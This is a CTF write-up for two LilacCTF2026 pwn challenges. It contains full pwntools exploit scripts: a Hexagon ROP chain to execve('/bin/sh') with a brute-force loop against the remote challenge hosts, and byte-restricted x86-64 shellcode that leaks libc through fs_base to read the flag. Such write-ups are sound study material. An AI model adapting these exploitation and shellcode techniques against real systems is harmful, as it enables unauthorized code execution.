Lilacctf2026
LilacCTF2026
gate-way
hexagon架构, 有栈溢出。给了两个gadget, trap0(#1)相当于syscall打execve(“/bin/sh”, 0, 0), 但是栈地址本地和远程不一致, 最后爆出来的。看官方wp说可以站迁移到确定的地址比较好。
本地调用的这个
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process(['qemu-hexagon', '-d', 'in_asm,exec,cpu,nochain', '-singlestep',
# '-dfilter', '0x10000+0x173C4',
# '-strace', '-D', './log', './pwn'])
# p = process(['./qemu-hexagon', './pwn'])
p = remote('1.95.188.222', 8888)
def register_service(content):
p.sendlineafter(b'3. Exit.\n', b'1') # Enter Service Menu
p.sendlineafter(b'3. Show Service.\n', b'1')
p.sendlineafter(b'Example: \n', content)
p.recvuntil(b'<<')
# qemu-hexagon -d in_asm,exec,cpu,nochain -singlestep -dfilter 0x10000+0x173C4 -strace -D ./log ./pwn
# ip:port| + "A" * (108 - len("ip:port|")) + <return_address>
# --------------------------------------------------------------------
# .text:0002191C { r17:16 = memd(sp + #0x18+var_8)
# .text:0002191E memw(r16) = r1 }
# .text:00021920 { r19:18 = memd(sp + #0x18+var_10)
# .text:00021922 r21:20 = memd(sp + #0x18+var_18) }
# .text:00021924 { dealloc_return }
# --------------------------------------------------------------------
# .text:000214F4 { r0 = r16 }
# .text:000214F8 { r1 = r17 }
# .text:000214FC { r2 = r18 }
# .text:00021500 { r6 = r19 }
# .text:00021504 { trap0(#1) }
# .text:00021508 { r0 = #0 }
# .text:0002150C { dealloc_return }
gadget1 = 0x2191C
syscall = 0x214F4
SYS_EXECVE = 221
buffer_addr = 0x4080fdd8
# buffer_addr = 0x4080df28
# buffer_addr = 0x40006128
binsh = buffer_addr + 13
payload = b'127.0.0.1:80|'
payload += b'/bin/sh\x00' + p32(syscall)
payload += b'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaa'+p32(buffer_addr + 16 + 1)
payload += p32(gadget1)
payload += p32(0xdeadbeef)*2
# r18 r19
payload += p32(0) + p32(SYS_EXECVE)
# r16 r17
payload += p32(binsh) + p32(0)
register_service(payload)
p.interactive()
远程用这个爆的, 看了几个地址基本都是0x4080开头的, 最后也是爆出来了
from pwn import *
context(arch='amd64', os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
SYS_EXECVE = 221
gadget1 = 0x2191C
syscall = 0x214F4
# 1.95.71.133:8888
# 1.95.81.195:8888
# 1.95.188.222:8888
def attempt_addr(addr, host='1.95.71.133', port=8888):
try:
p = remote(host, port, timeout=1)
# p = process(['./qemu-hexagon', './pwn'])
log.info(f"Trying address: {hex(addr)}")
binsh_addr = addr + 13
payload = b'127.0.0.1:80|'
payload += b'/bin/sh\x00' + p32(syscall)
payload += b'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaa'
payload += p32(addr + 17) # buffer_addr + 16 + 1
payload += p32(gadget1)
payload += p32(0xdeadbeef) + p32(0xdeadbeef)
payload += p32(0) + p32(SYS_EXECVE)
payload += p32(binsh_addr) + p32(0)
p.sendlineafter(b'3. Exit.\n', b'1')
p.sendlineafter(b'3. Show Service.\n', b'1')
p.sendlineafter(b'Example: \n', payload)
p.sendline(b'echo HACK')
if p.recvuntil(b'HACK', timeout=1):
log.success(f"Success with addr: {hex(addr)}")
p.interactive()
return True
except KeyboardInterrupt:
return True
except:
pass
finally:
if 'p' in locals():
p.close()
return False
def brute_force(start, end, step):
for addr in range(start, end, step):
if attempt_addr(addr):
return
log.failure(f"Failed in range {hex(start)} - {hex(end)}")
# 爆破范围 (根据本地地址 0x4080d628 调整)
brute_force(0x4080e000, 0x40810000, step=0x8)
# brute_force(0x4080df00, 0x40810000, step=0x8
bytezoo
syscall, 但是每个字节只能出现高位和地位中最小的数字次数, 比如\x56字节只能出现5次, \x05字节不能出现。shellcode的内存区域被去掉了写权限, 所以不能做自修改代码。送了一个syscall在mmap段最末尾, 想不出怎么call多次。但是发现fs_base能leaklibc, 而且给了libc文件, 所以直接call libc的open然后用送的一个syscall执行sendfile就刚好了。The intended solution was to use memmove and mprotect, moving the executable page all the way down to our stack page, mprotect stack to +x, then execute into it. fs_base was out of expection, and I’m sorry with the confusion and mistakes happening during releasing revenge challenge.官方解法还没看。
#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "1.95.148.179"
port = 8888
ELF_PATH="./pwn"
if local:
p = process(ELF_PATH)
else:
p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./lib/libc.so.6")
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)
def dbg():
script = '''
brva 0x195d
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
open_offset = libc.sym['open']
read_offset = libc.sym['read']
write_offset = libc.sym['write']
lg('open_offset')
lg('read_offset')
lg('write_offset')
# [+] open_offset:0x114550
dbg()
shellcode = asm("""
/* mov rdi, qword ptr fs:[0xb20] */
sub sp, 0x77
pop rbx
mov bx, 0x3333
sub bx, 0x2813
mov rdi, qword ptr fs:[rbx]
mov r15, rdi
pop rbx
mov ebx, 0x77883371
/* lea ebx, [rbx + 0x8889116F] */
lea ebx, [rbx + 0x888911df]
lea r15, [rbx + rdi]
pop rsi
mov rcx, 0x67616c66
push rcx
push rsp
pop rdi
call r15
/* sendfile(1, 3, 0, 0xff); rdi=1, rsi=3, rdx=0, r10=0xff, rax=40 */
pop rdx
pop rdx
pop rsi
pop rdi
inc rdi
xchg eax, esi
push 0x28
pop rax
mov r10, r11
""")
p.sendafter(b'Show me your proof of work.\n', shellcode)
p.interactive()